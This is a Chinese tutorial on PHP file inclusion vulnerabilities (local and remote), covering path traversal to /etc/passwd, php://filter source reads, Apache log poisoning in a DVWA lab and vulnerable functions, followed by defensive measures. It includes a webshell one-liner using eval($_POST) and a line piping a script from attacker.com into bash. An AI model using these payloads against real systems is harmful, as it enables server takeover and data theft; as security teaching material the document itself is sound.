渗透测试之文件包含漏洞 超详细的文件包含漏洞文章

目录

说明

通常分为两种类型:

本地文件包含

典型的攻击方式1:

影响:

典型的攻击方式2:

包含路径解释:

日志包含漏洞:

操作原理

包含漏洞读取文件 

文件包含漏洞远程代码执行漏洞:

远程文件包含

典型的攻击方式:

影响:

文件包含漏洞的根本原因

语言包含漏洞

PHP文件包含漏洞函数

文件包含漏洞相关的常见 PHP 函数

1. include() 和 require()

2. include_once() 和 require_once()

3. fopen() 和 fread()

4. file_get_contents()

5. readfile()

6. highlight_file()

7. fpassthru()

总结

防御措施

输入验证与过滤:

禁用远程文件包含:

使用绝对路径:

文件包含路径限制:

日志记录与监控:

代码审计与渗透测试:

总结

说明

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为

通常分为两种类型:

  • 本地文件包含(LFI)
  • 远程文件包含(RFI)

本地文件包含

  • LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件

攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。

典型的攻击方式1:

  • 攻击者通过修改 URL 参数来试图包含本地文件
  • 例如:
http://example.com/index.php?page=../../../../etc/passwd
  • 在这个例子中

攻击者试图通过“../../../../etc/passwd”来访问服务器上的 /etc/passwd 文件(Unix/Linux 系统中的一个存储用户账户信息的文件)。

影响:

  • 信息泄露:攻击者能够查看服务器上的敏感文件(如配置文件、日志文件、密码文件等)。
  • 路径遍历攻击:攻击者可以通过构造特殊的路径,访问并查看不应公开的文件。
  • 恶意文件执行:如果不当配置或存在缺陷,攻击者甚至可以包含可执行文件进行代码执行。

典型的攻击方式2:

  • 用户输入控制: 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如:
<?php
include($_GET['page']);
?>

这种代码会根据用户传入的page参数来包含文件。

包含路径解释:

  1. 绝对路径包含

  2. 相对路径包含

  3. 文件穿越漏洞

  4. 包含一些图片吗进行控制 包含敏感文件读取出来

  5. 远程文件包包含,另外一个网站 得文件,其它网站得文件包含进来。

  6. 直接引用别人得网站得图片 前提是看别人开启了相关参数没。


日志包含漏洞:

  • 日志包含漏洞是指攻击者通过注入恶意内容到日志文件中,可能会破坏日志文件的完整性,或通过日志文件将恶意代码执行。
  • 攻击者可以伪造日志,或在日志中插入恶意的HTTP头、SQL注入等攻击代码,进而进行进一步的攻击。

操作原理

  1. 当某个PHP文件存在本地包含漏洞,而却无法上传正常文件.

  2. 这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵.

    1. Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。

    2. apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

    3. 前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置

    4. 其实这种方式就是把木马直接写入到日志文件中.

    5. 在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了

    6. 蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接

    7. http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\logs\access.log 写入后再访问 就可以通过日志进行访问

  • 1浏览器日志 记录可能会编译成url编码

  • 2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。

  • 记录下php得一句话木马程序写法
  • 写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马
  • <?php $file=fopen('jaden.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
  • 数据存在于存在与执行得目录中 jaden.php
  • 问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集


包含漏洞读取文件 

读取php文件 包含就能读取:

  • 采用得是file:///协议

  • 读取php文件不想执行

  • Php:/// 读取文件 指定php协议来读取协议

    • http://192.168.1.9/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file4.php

    • 以base64得数据格式进行读取出来

  • 通过文件包含漏洞利用 file:// 伪协议读取文件是一种常见的攻击手段,特别是当Web应用程序允许通过用户输入指定文件路径时。
  • 攻击者可以利用这种方式绕过某些安全控制,从而读取本地文件(例如 /etc/passwd 或其他敏感文件),或者执行路径遍历攻击来获取服务器上的敏感信息。
  • file:///etc/passwd

文件包含漏洞远程代码执行漏洞:

  • 文件包含漏洞(File Inclusion Vulnerability)如果结合远程文件包含(Remote File Inclusion, RFI)和不当的配置或攻击者操控的输入
  • 可能导致远程代码执行漏洞(Remote Code Execution, RCE)
  • 在这种情况下,攻击者不仅能读取文件,还能执行恶意代码,导致严重的安全问题。
  • 服务端存在包含漏洞

  • 也就是通过include(php://input) 进行执行而不是用文件进行执行

  • 执行得命令

  • Php://input 执行过程

<?php
system('curl -s http://attacker.com/malicious_script.sh | bash');
?>


远程文件包含

  • RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站

通常情况下,RFI 涉及到文件路径中包含 URL,允许攻击者从外部服务器加载并执行恶意脚本。


典型的攻击方式:

  • 攻击者通过修改 URL 中的参数,将远程服务器上的恶意文件包含到服务器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
  • 在这个例子中
  • 攻击者试图加载并执行远程服务器上的 malicious_script.php 文件
  • 可能执行恶意操作,比如执行反向 shell、窃取数据、或劫持服务器
    • 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。

影响:

  • 远程代码执行:攻击者能够远程执行恶意代码,这可能导致服务器完全被控制。
  • 网站篡改:攻击者可能通过上传恶意脚本,篡改网站内容或窃取用户信息。
  • 数据泄露:攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。

文件包含漏洞的根本原因

  1. 用户输入未严格验证:文件路径参数或 URL 没有经过充分的验证和过滤,允许攻击者修改路径。
  2. 不当的文件处理逻辑:代码未对文件包含操作进行适当的权限控制或路径限制,导致攻击者能够访问和执行敏感文件。
  3. 缺乏安全配置:服务器未启用适当的配置,例如禁止远程文件包含(RFI),或没有禁用危险函数(如 include, require, fopen 等)。

语言包含漏洞

  • 包含操作,在大多数Web语言中都会提供的功能

  • 但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状

  • 很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞.

  • 公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件

  • Import-python 也就是代码漏洞

  • 针对不同的语言 比如说 go php java python 也就是对应相关的函数


PHP文件包含漏洞函数

  • PHP 作为一种常用的 Web 编程语言,具有一些常用的函数,这些函数可以导致文件包含漏洞,尤其在没有进行严格的输入验证时。

文件包含漏洞相关的常见 PHP 函数

1. include()require()

功能

  • include()require() 用于将文件引入当前 PHP 文件并执行。
  • include() 在文件不可用时会发出警告(warning)
  • require() 会发出致命错误(fatal error)并停止执行。

安全隐患

include($_GET['page']);
// 如果未进行过滤,攻击者可以传递恶意的文件路径,如 '../../etc/passwd'

如果传入的文件路径(参数)未经过严格验证,攻击者可能利用路径遍历(../../)或者远程文件包含攻击,加载敏感文件或远程恶意文件。


2. include_once()require_once()

功能

  • include()require() 相同,但它们确保文件只会被包含一次,避免重复包含文件导致的错误。

安全隐患

  • 如果传入的文件路径不被验证,攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。

3. fopen()fread()

功能

  • fopen() 打开文件,fread() 读取文件内容,通常用于读取文本或二进制文件内容。

安全隐患

$file = fopen($_GET['file'], "r");  // 如果未验证,攻击者可以操控路径读取文件
  • 如果文件路径未经过验证,攻击者可以读取服务器上的敏感文件或恶意文件。

4. file_get_contents()

功能

file_get_contents() 用于读取文件内容并将其作为字符串返回。

安全隐患

$content = file_get_contents($_GET['file']);

如果参数为用户输入的文件路径或 URL,攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。


5. readfile()

功能

readfile() 输出文件内容到浏览器,通常用于直接输出文件内容。

安全隐患

readfile($_GET['file']);

攻击者可以通过路径遍历攻击或包含远程文件,输出敏感文件内容或恶意代码。


6. highlight_file()

功能

highlight_file() 输出 PHP 源代码并对其进行语法高亮显示。

安全隐患

highlight_file($_GET['file']);

如果没有限制或验证,攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码,可能泄露敏感信息。


7. fpassthru()

功能

fpassthru() 函数读取并直接输出文件的内容,通常与 fopen() 配合使用。

安全隐患

$file = fopen($_GET['file'], "r");
fpassthru($file);

fread()file_get_contents() 类似,如果文件路径未被验证,攻击者可以利用该函数读取并输出敏感文件内容。


总结

PHP 中的文件包含函数(如 include()require()fopen() 等)是文件包含漏洞的核心来源,尤其在未严格验证用户输入时,容易导致路径遍历、远程文件包含(RFI)或本地文件包含(LFI)攻击。防御这种漏洞的关键是:

  • 严格控制文件路径参数的来源和内容;
  • 禁用不必要的功能(如远程文件包含);
  • 采用绝对路径、白名单、权限控制等手段限制文件的访问范围。

防御措施

  1. 输入验证与过滤

    • 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如 ../)的输入。
    • 使用白名单机制,限制只能包含特定目录下的文件。
  2. 禁用远程文件包含

    • 在 PHP 中,禁用 allow_url_includeallow_url_fopen,防止包含远程文件。
    • 设置 open_basedir,限制 PHP 程序只能访问特定目录下的文件。
  3. 使用绝对路径

    • 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。
  4. 文件包含路径限制

    • 使用 basename() 或类似的函数确保包含的文件不会遍历目录结构。
    • 对于包含的文件,最好限定在特定的目录内,避免通过路径构造访问任意文件。
  5. 日志记录与监控

    • 配置 Web 服务器和应用程序进行日志记录,监控异常的文件包含请求。
    • 设置警报机制,及时发现潜在的文件包含攻击。
  6. 代码审计与渗透测试

    • 定期进行代码审计,检查可能存在文件包含漏洞的地方。
    • 使用自动化工具进行渗透测试,模拟文件包含攻击,查找漏洞。

总结

文件包含漏洞是一个相对常见且危险的安全问题,尤其在动态网页系统中,由于代码没有对外部输入进行有效的验证,攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/69219.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git--使用教程

Git的框架讲解 Git 是一个分布式版本控制系统&#xff0c;其架构设计旨在高效地管理代码版本&#xff0c;支持分布式协作&#xff0c;并确保数据的完整性和安全性。 Git 的核心组件&#xff1a; 工作区&#xff08;Working Directory&#xff09;&#xff1a; 工作区是你在本…

Deepseek 接入Word处理对话框(隐藏密钥)

硅基流动邀请码&#xff1a;1zNe93Cp 邀请链接&#xff1a;网页链接 亲测deepseek接入word&#xff0c;自由调用对话&#xff0c;看截图有兴趣的复用代码&#xff08;当然也可以自己向deepseek提问&#xff0c;帮助你完成接入&#xff0c;但是提问逻辑不一样给出的答案是千差万…

Redis存储⑤Redis五大数据类型之 List 和 Set。

目录 1. List 列表 1.1 List 列表常见命令 1.2 阻塞版本命令 1.3 List命令总结和内部编码 1.4 List典型使用场景 1.4.1 消息队列 1.4.2 分频道的消息队列 1.4.3 微博 Timeline 2. Set 集合 2.1 Set 集合常见命令 2.2 Set 集合间命令 2.3 Set命令小结和内部编码 2.…

DeepSeek 的含金量还在上升

大家好啊&#xff0c;我是董董灿。 最近 DeepSeek 越来越火了。 网上有很多针对 DeepSeek 的推理测评&#xff0c;除此之外&#xff0c;也有很多人从技术的角度来探讨 DeepSeek 带给行业的影响。 比如今天就看到了一篇文章&#xff0c;探讨 DeepSeek 在使用 GPU 进行模型训练…

深入剖析 Bitmap 数据结构:原理、应用与优化策略

深入理解 Bitmap 数据结构 一、引言 在计算机科学领域&#xff0c;数据的高效存储和快速处理一直是核心问题。随着数据量的不断增长&#xff0c;如何用最少的空间和最快的速度来表示和操作数据变得至关重要。Bitmap&#xff08;位图&#xff09;作为一种简洁而强大的数据结构…

【后端开发】系统设计101——通信协议,数据库与缓存,架构模式,微服务架构,支付系统(36张图详解)

【后端开发】系统设计101——通信协议&#xff0c;数据库与缓存&#xff0c;架构模式&#xff0c;微服务架构&#xff0c;支付系统&#xff08;36张图&#xff09; 文章目录 1、通信协议通信协议REST API 对比 GraphQL&#xff08;前端-web服务&#xff09;grpc如何工作&#x…

DS图(中)(19)

文章目录 前言一、图的遍历广度优先遍历深度优先遍历 二、最小生成树Kruskal算法Prim算法两种方法对比 总结 前言 承上启下&#xff0c;我们来学习下图的中篇&#xff01;&#xff01;&#xff01; 一、图的遍历 图的遍历指的是遍历图中的顶点&#xff0c;主要有 广度优先遍历 …

DeepSeek 发布多模态 Janus-Pro

DeepSeek在接连发布大语言模型V3&#xff0c;推理模型R1之后&#xff0c;DeepSeek随后又发布两款多模态框架&#xff1a;Janus-Pro 与 JanusFlow &#xff0c;引领多模态模型新时代&#xff01; 而且依然是保持了一贯的风格&#xff0c;保持了完全开源&#xff0c;今天我们来看…

【QT笔记】使用QScrollArea实现多行文本样式显示

目录 一、QScrollArea 的基本概念 二、demo代码 三、实现效果 1、页面空间足够&#xff0c;无滚动条时显示效果 2、有滚动条时显示效果 一、QScrollArea 的基本概念 QScrollArea 是 Qt 框架中用于提供一个滚动条区域&#xff0c;允许用户滚动查看比当前可视区域更大的内容…

达梦数据库从单主模式转换为主备模式

目录标题 达梦数据库单主转主备配置笔记前期准备服务器环境数据库安装磁盘空间 流程流程图说明 详细步骤1. 检查主库归档模式2. 配置主库配置文件dm.ini 文件dmmal.ini 文件dmarch.ini 文件 3. 备份主库数据库4. 备库配置新建备库数据库配置备库配置文件dm.ini 文件复制主库的 …

使用C#开发一款通用数据库管理工具

由于经常使用各种数据库&#xff0c;笔者自己动手丰衣足食&#xff0c;使用C#开发了一款通用数据库管理工具&#xff0c;支持Mysql、Oracle、Sqlite、SQL Server等数据库的表、视图、存储过程、函数管理功能&#xff0c;并支持导入导出、数据字典生成、拖拽式跨机器跨库数据一键…

w193基于Spring Boot的秒杀系统设计与实现

&#x1f64a;作者简介&#xff1a;多年一线开发工作经验&#xff0c;原创团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339;赠送计算机毕业设计600个选题excel文…

DeepSeek各版本说明与优缺点分析

DeepSeek各版本说明与优缺点分析 DeepSeek是最近人工智能领域备受瞩目的一个语言模型系列&#xff0c;其在不同版本的发布过程中&#xff0c;逐步加强了对多种任务的处理能力。本文将详细介绍DeepSeek的各版本&#xff0c;从版本的发布时间、特点、优势以及不足之处&#xff0…

OpenCV:特征检测总结

目录 一、什么是特征检测&#xff1f; 二、OpenCV 中的常见特征检测方法 1. Harris 角点检测 2. Shi-Tomasi 角点检测 3. Canny 边缘检测 4. SIFT&#xff08;尺度不变特征变换&#xff09; 5. ORB 三、特征检测的应用场景 1. 图像匹配 2. 运动检测 3. 自动驾驶 4.…

windows版的docker如何使用宿主机的GPU

windows版的docker使用宿主机的GPU的命令 命令如下 docker run -it --nethost --gpus all --name 容器名 -e NVIDIA_DRIVER_CAPABILITIEScompute,utility -e NVIDIA_VISIBLE_DEVICESall 镜像名效果 (transformer) rootdocker-desktop:/# python Python 3.9.0 (default, Nov 15 …

neo4j-在Linux中安装neo4j

目录 切换jdk 安装neo4j 配置neo4j以便其他电脑可以访问 切换jdk 因为我安装的jdk是1.8版本的&#xff0c;而我安装的neo4j版本为5.15,Neo4j Community 5.15.0 不支持 Java 1.8&#xff0c;它要求 Java 17 或更高版本。 所以我需要升级Java到17 安装 OpenJDK 17 sudo yu…

8.PPT:小李-第二次世界大战【21】

目录 NO123 ​ NO4567 ​ NO8\9\10\11​ 图片→格式→大小对话框→锁定纵横比✔动画→飞入→效果选项&#xff1a;方向/序列→开始→持续时间→延迟时间持续时间&#xff1a;1s延迟&#xff1a;0.5s音频剪切时间&#xff1a;0.5s&#xff1a;00:00.500自动换片时间设置&…

GAN(生成对抗网络,Generative Adversarial Network)

https://www.bilibili.com/video/BV1mp4y187dm/?spm_id_from333.788.recommend_more_video.2&vd_source35b06c13f470dff84c947fa3045bafc3

【C++】多态详细讲解

本篇来聊聊C面向对象的第三大特性-多态。 1.多态的概念 多态通俗来说就是多种形态。多态分为编译时多态(静态多态)和运⾏时多态(动态多态)。 编译时多态&#xff1a;主要就是我们前⾯讲的函数重载和函数模板&#xff0c;他们传不同类型的参数就可以调⽤不同的函数&#xff0c;通…

NeuralCF 模型:神经网络协同过滤模型

实验和完整代码 完整代码实现和jupyter运行&#xff1a;https://github.com/Myolive-Lin/RecSys--deep-learning-recommendation-system/tree/main 引言 NeuralCF 模型由新加坡国立大学研究人员于 2017 年提出&#xff0c;其核心思想在于将传统协同过滤方法与深度学习技术相结…